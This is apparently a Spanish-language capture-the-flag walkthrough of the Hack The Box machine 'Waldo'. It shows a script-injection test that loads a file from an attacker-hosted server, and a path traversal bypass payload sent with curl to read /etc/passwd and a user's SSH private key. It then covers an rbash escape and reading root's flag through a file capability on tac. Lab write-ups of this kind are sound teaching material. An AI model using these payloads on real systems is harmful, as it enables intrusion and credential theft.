• Waldo is a medium difficulty machine, which highlights the risk of insufficient input validation, provides the challenge of rbash escape or bypassing, and showcases an interesting privilege escalation vector involving Linux Capabilities, all of which may be found in real environments.

PortScan

sudo nmap -sCV -p22,80 10.10.10.87 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 11:08 CST
Nmap scan report for 10.10.10.87
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey: 
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_  256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open  http    nginx 1.12.2
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: List Manager
|_Requested resource was /list.html
|_http-server-header: nginx/1.12.2

Enumeración

  • Estas son las tecnologías que están corriendo en el servicio web.
 whatweb http://10.10.10.87
http://10.10.10.87 [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.12.2], IP[10.10.10.87], PHP[7.1.16], RedirectLocation[/list.html], X-Powered-By[PHP/7.1.16], nginx[1.12.2]
http://10.10.10.87/list.html [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.12.2], IP[10.10.10.87], Script, Title[List Manager], nginx[1.12.2]
  • Esta es la pagina web.

  • Vemos 2 listas y un botón de borrar si borramos una vemos que si se borra.

  • Si presionamos en el botón de list2 nos muestra contenido.

  • Si damos click en PWN nos deja editarla.

  • Vamos añadir una nueva dando click en add y inyectar código html para ver si se refleja dentro de list 1.
<h1>hola</h1>
  • Vemos que se refleja.

  • Como se esta interpretando la etiqueta vamos a ejecutar un servidor http con python3 para ver si recibimos alguna petición.
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
  • Vamos a inyectar lo siguiente.
<script src="http://10.10.14.23:8080/zi.js"></script>
  • Bueno si esperamos varios minutos no recibimos nada así que descartamos posibles ataques mediante las etiquetas html de momento.

  • Vamos hacer Fuzzing para ver si encontramos nuevas rutas.

❯ wfuzz -c --hc=404 --hl=0 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt http://10.10.10.87/list.html/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.87/list.html/FUZZ
Total requests: 87664

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                        
=====================================================================

PATH Traversal

  • No encontramos nada, vamos a capturar con Burpsuite la petición de la pagina web http://10.10.10.87/list.html para ver como esta todo por detrás.
❯ burpsuite &>/dev/null & disown
  • Si también capturamos peticiones cuando damos en add vemos rutas nuevas.

  • Vamos a capturar la petición al acceder a alguna lista.

  • Vemos que apunta a otra ruta .php y vemos un file=.

  • Vamos a enviar la petición y vemos el contenido de lo que hay dentro.

  • Como tal tiene una estructura de directorios así que vamos a tratar de cargar el /etc/passwd haciendo un path traversal.

  • Pero nada.

  • Si aplicamos un pequeño Bypass vemos que funciona.

  • Vemos al usuario nobody, operator y postgres con una sh.
❯ curl -s -X POST "http://10.10.10.87/fileRead.php" -d 'file=./.list/....//....//....//....//....//....//etc/passwd' | jq '.["file"]' -r | grep "sh$"
root:x:0:0:root:/root:/bin/ash
operator:x:11:0:operator:/root:/bin/sh
postgres:x:70:70::/var/lib/postgresql:/bin/sh
nobody:x:65534:65534:nobody:/home/nobody:/bin/sh
  • Si enumeramos su directorio personal encontramos su clave privada dentro de la carpeta .ssh.
❯ curl -s -X POST "http://10.10.10.87/fileRead.php" -d 'file=./.list/....//....//....//....//....//....//home/nobody/.ssh/.monitor' | jq '.["file"]' -r
-----BEGIN RSA PRIVATE KEY-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WqIsCgYBYw/IMnLa3drm3CIAa32iU
LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/
lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp
w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT
rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr
X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2
DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla
W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=
-----END RSA PRIVATE KEY-----
❯ nano id_rsa
❯ chmod 600 id_rsa

Shell as nobody

  • Ahora nos conectamos por ssh.
❯ ssh -i id_rsa nobody@10.10.10.87
The authenticity of host '10.10.10.87 (10.10.10.87)' can't be established.
ED25519 key fingerprint is SHA256:V+5vDo94JYcOMESxNxxs0je359eF2cxyHZS7vQtBQ1A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.87' (ED25519) to the list of known hosts.
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ whoami
nobody
waldo:~$ 

User flag

  • Podemos ver la primer flag.
waldo:~$ cat user.txt 
cccbc59b1b8a9965f7eac3e8ebfa8529
waldo:~$ 
  • No vemos nada interesante.
waldo:/$ find \-perm -4000 2>/dev/null
./usr/bin/passwd
./usr/bin/chage
./usr/bin/expiry
./usr/bin/chfn
./usr/bin/chsh
./usr/bin/newgrp
./usr/bin/gpasswd
waldo:/$ 
  • El PATH que tenemos es muy pequeño así que vamos a exportar el de nosotros.
waldo:/$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
waldo:/$ 
waldo:/$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/miguelrega7/
.fzf/bin
waldo:/$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/miguelrega7/.fzf/bin
waldo:/$ 
  • Si nos vamos al directorio .ssh vemos que la clave le pertenece al usuario monitor.
waldo:~/.ssh$ cat authorized_keys ; echo
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzuzK0MT740dpYH17403dXm3UM/VNgdz7ijwPfraXk3B/oKmWZHgkfqfg1xx2bVlT6oHvuWLxk6/KYG0gRjgWbTtfg+q3jN40F+opaQ5zJXVMtbp/zuzQVkGFgCLMas014suEHUhkiOkNUlRtJcbqzZzECV7XhyP6mcSJFOzIyKrWckJJ0YJz+A2lb8AA0g3i9b0qyUuqIAQMl9yFjnmwInnXrZj34jXHOoXx71vXbBVeKu82jw8sacUlXDpIeGY8my572+MAh4f6f7leRtzz/qlx6jCqz26NGQ3Mf1PWUmrgXHVW+L3cNqrdtnd2EghZpZp+arOD6NJOFJY4jBHvf monitor@waldo
waldo:~/.ssh$ 
waldo:~/.ssh$ ssh -i .monitor monitor@localhost
Linux waldo 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64
           &.                                                                  
          @@@,@@/ %                                                            
       #*/%@@@@/.&@@,                                                          
   @@@#@@#&@#&#&@@@,*%/                                                        
   /@@@&###########@@&*(*                                                      
 (@################%@@@@@.     /**                                             
 @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/                               
 %@@@@%##########&@@@....                 .#%#@@@@@@@#                         
 @@&%#########@@@@/                        */@@@%(((@@@%                       
    @@@#%@@%@@@,                       *&@@@&%(((#((((@@(                      
     /(@@@@@@@                     *&@@@@%((((((((((((#@@(                     
       %/#@@@/@ @#/@          ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,            
          %@*(@#%@.,       /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@#    &    
        *@@@@@#        .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/   
       /@@          #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&     
      *@@      *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&  
      %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/   
      @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
     @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@* 
     @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
     *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
       @@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
        @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
          .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*   
            @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(           
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/          
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/          
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@           
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#            
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@              
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#              
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,              
                ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@               
                 &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@               
                 /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(               
                  @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*                 
                  *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@                    
                       @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,                    
                        @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                     
                        &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#                     
                         %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                      
                         ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,                      
                          *@@,,,,,,,.,****,..,,,,,,,,&@@                       
                           (@(,,,.,,,,,,,,,,,,,,.,,,/@@                        
                           .@@,,,,,,,,,,,,,...,,,,,,@@                         
                            ,@@@,,,,,,,,,,,,,,,,.(@@@                          
                              %@@@@&(,,,,*(#&@@@@@@,     
                              
                            Here's Waldo, where's root?
Last login: Tue Dec  5 06:02:39 2023 from 127.0.0.1
-rbash: alias: command not found
monitor@waldo:~$ 
  • Bueno para salir simplemente hacemos lo siguiente.
waldo:~/.ssh$ ssh -i .monitor monitor@localhost bash
whoami
monitor
script /dev/null -c bash
Script started, file is /dev/null
monitor@waldo:~$ 

Escalada de privilegios

  • Ahora nuevamente exportamos nuestro PATH.
monitor@waldo:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/miguelrega7/.fzf/bin
<r/local/games:/usr/games:/home/miguelrega7/.fzf/bin
monitor@waldo:~$ export TERM=xterm
export TERM=xterm
monitor@waldo:~$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/miguelrega7/.fzf/bin
monitor@waldo:~$ 
monitor@waldo:/home/nobody$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/bin/ping = cap_net_raw+ep
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
  • Bueno con eso podemos leer cualquier archivo privilegiado del sistema.
monitor@waldo:/home/nobody$ tac /root/root.txt
7f680a52657f6c1ee72752e7ab096955